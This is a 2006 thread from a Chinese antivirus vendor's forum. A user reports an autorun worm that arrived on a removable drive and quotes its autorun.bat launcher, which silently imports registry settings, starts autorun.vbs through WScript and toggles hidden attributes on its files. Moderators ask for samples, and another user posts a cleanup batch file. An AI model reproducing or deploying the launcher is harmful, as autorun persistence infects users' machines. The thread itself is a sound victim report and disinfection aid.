微点交流论坛 - 反病毒 - wscript.exe 里面的东西由一移动硬盘带来微点毫无反应

微点交流论坛 » 反病毒 » wscript.exe 里面的东西由一移动硬盘带来微点毫无反应

feemoo888
新手上路

积分 11
发帖 11
注册 2006-10-27

#1 wscript.exe 里面的东西由一移动硬盘带来微点毫无反应

发现的

微点没反应 Userinit.exe ---> autorun.bat

autorun.bat --- <text>

@echo off
rem autorun风暴
if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
exit

pen
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
if exist .\autorun.bin type .\autorun.bin >C:\autorun.txt&&exit
if exist %SYSTEMROOT%\system32\autorun.bin type %SYSTEMROOT%\system32\autorun.bin >c:\autorun.txt&&exit
exit
:next2
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
:end

附件 1: Capture-1.jpg (2006-10-27 03:19, 51.6 K,下载次数： 23)

附件 2: Capture222.jpg (2006-10-27 03:20, 127.86 K,下载次数： 42)

※ ※ ※ 本文纯属【feemoo888】个人意见，与【微点交流论坛】立场无关※ ※ ※

2006-10-27 03:19

feemoo888
新手上路

积分 11
发帖 11
注册 2006-10-27

#2 一大堆文件的下载地址

已经发送

所有硬盘分区+system32下都有这些文件

直接双击打开分区会系统崩溃挂了重启嵌入Explorer +

清理到也没什么关键是微点居然毫无反应

[ Last edited by feemoo888 on 2006-10-27 at 03:41 ]

※ ※ ※ 本文纯属【feemoo888】个人意见，与【微点交流论坛】立场无关※ ※ ※

2006-10-27 03:35

Legend
超级版主

超级版主

积分 77171
发帖 70170
注册 2005-10-29

#3

请问您发的哪个邮箱？我们暂时还没有收到您的邮件，您的邮箱地址是多少？（请用论坛短消息发给我）
您的可以把您的这个文件压缩发到virus@micropoint.com.cn，我们具体测试分析下

[ Last edited by Legend on 2006-10-27 at 17:02 ]

※文章所有权归【Legend】与【东方微点论坛】共同所有，转载请注明出处！※

微点官方认证新浪微博：欢迎进入微点新浪微博
微点技术支持邮箱: support@micropoint.com.cn
给Legend发短消息

2006-10-27 09:31

反黑先锋
版主

RUNWAY

积分 2901
发帖 2857
注册 2006-6-17

Quote:

Originally posted by Legend at 2006-10-27 09:31:
请问您发的哪个邮箱？我们暂时还没有收到您的邮件，您的邮箱地址是多少？（请用论坛短消息发给我）
您的可以把您的这个文件压缩发到virus@micropoint.com.cn，我们具体测试分析下

[ Last edi ...

请楼主发给官方测试下。

※ ※ ※ 本文纯属【反黑先锋】个人意见，与【微点交流论坛】立场无关※ ※ ※

荣先祥藏头诗《赞东方微点》
东风欣传好消息
方策独步世所稀
微妙玄机嵌主动
点睛灭毒堪神笔

2006-10-27 21:31

esir
新手上路

积分 11
发帖 11
注册 2006-9-27

#5 我也中了这个毒，清理办法如下

中该毒后双击打不开任何分区（C、D、E、……），说找不到autorun.vbs脚本。

解决办法是把以下代码做成批处理，直接运行就行了，这是网上一个高人编的，挺管用。

@echo on
taskkill /im explorer.exe /f
taskkill /im wscript.exe
start reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\EXplorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 1 /f
start reg import kill.reg
del c:\autorun.* /f /q /as
del %SYSTEMROOT%\system32\autorun.* /f /q /as
del d:\autorun.* /f /q /as
del e:\autorun.* /f /q /as
del f:\autorun.* /f /q /as
del g:\autorun.* /f /q /as
del h:\autorun.* /f /q /as
del i:\autorun.* /f /q /as
del j:\autorun.* /f /q /as
del k:\autorun.* /f /q /as
del l:\autorun.* /f /q /as
start explorer.exe

※ ※ ※ 本文纯属【esir】个人意见，与【微点交流论坛】立场无关※ ※ ※

2006-10-29 23:02

论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏

[ 联系我们 - 东方微点 ] 北京东方微点信息技术有限责任公司福建东方微点信息安全有限责任公司闽ICP备05030815号